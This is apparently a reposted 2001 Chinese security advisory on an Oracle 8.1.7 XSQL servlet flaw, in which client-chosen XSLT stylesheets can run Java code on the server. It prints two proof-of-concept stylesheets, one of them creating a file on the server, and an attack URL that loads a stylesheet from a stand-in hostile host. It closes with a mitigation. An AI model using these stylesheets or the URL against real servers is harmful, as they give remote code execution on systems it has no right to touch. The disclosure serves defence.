发信人: wangchi_cn(0)
整理人: snowypeng(2001-08-05 15:14:53), 站内信件
|
涉及程序:
xml
描述:
Oracle允许在Web服务器上执行任意java代码漏洞
详细:
XSQL servlet 允许在系统中的任何地方指定 xslt 风格表。但这样也有可能通过 xslt 风格表在 Web 服务器上执行任意 java 代码,威胁系统的安全性。
Oracle 允许通过 xmlns 来扩展内建的 xslt 功能。"http://www.oracle.com/XSL/Transform/java/"使用这种名字空间就有可能嵌入 Java 对象并获得执行这些对象的方法。
以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负
通过举例来说明这个问题:
--ora.xsl---string function, almost no effect---------------
<?xml version="1.0"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.lang.String" version="1.0">
<xsl:template match="/">
<html>
<h2>
Written by Georgi Guninski
</BR>
Java demo.
<xsl:variable name="str1" select="jstr:new('java on the server')" />
<xsl:value-of select="jstr:toUpperCase($str1)" />
</h2>
</html>
</xsl:template>
</xsl:stylesheet>
------------------------------------------------------------
--ora2.xsl----creates a file -------------------------------
<?xml version="1.0"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.io.File" version="1.0">
<xsl:template match="/">
<html>
<h2>
Written by Georgi Guninski
</BR>
File "c:\winnt\georgigjava" created=
<xsl:variable name="r1" select="jstr:new('c:\\winnt\\georgigjava')" />
<xsl:value-of select="jstr:createNewFile($r1)" />
</h2>
</html>
</xsl:template>
</xsl:stylesheet>
-----------------------------------------------------------
假定文件 http://xsql-server/EXISTING.xsql 存在并已经被配置好(这些演示程序默认是安装在/xsql/java/demo/目录下),下面的URL:
http://xsql-server/EXISTING.xsql?xml-stylesheet=http://HOSTILE/ora.xsl
将通过 http://hostile/ora.xsl 在 XSQL-SERVER 上执行 Java 代码。
受影响的系统:
Oracle 8.1.7
解决方案:
临时解决办法:
建议您在每个 xsql 页面中添加下面这一行:
allow-client-style="no"
附加信息:
http://technet.oracle.com/tech/xml/xsql_servlet/htdocs/relnotes.htm
---- 联系方式: [email protected]
|
|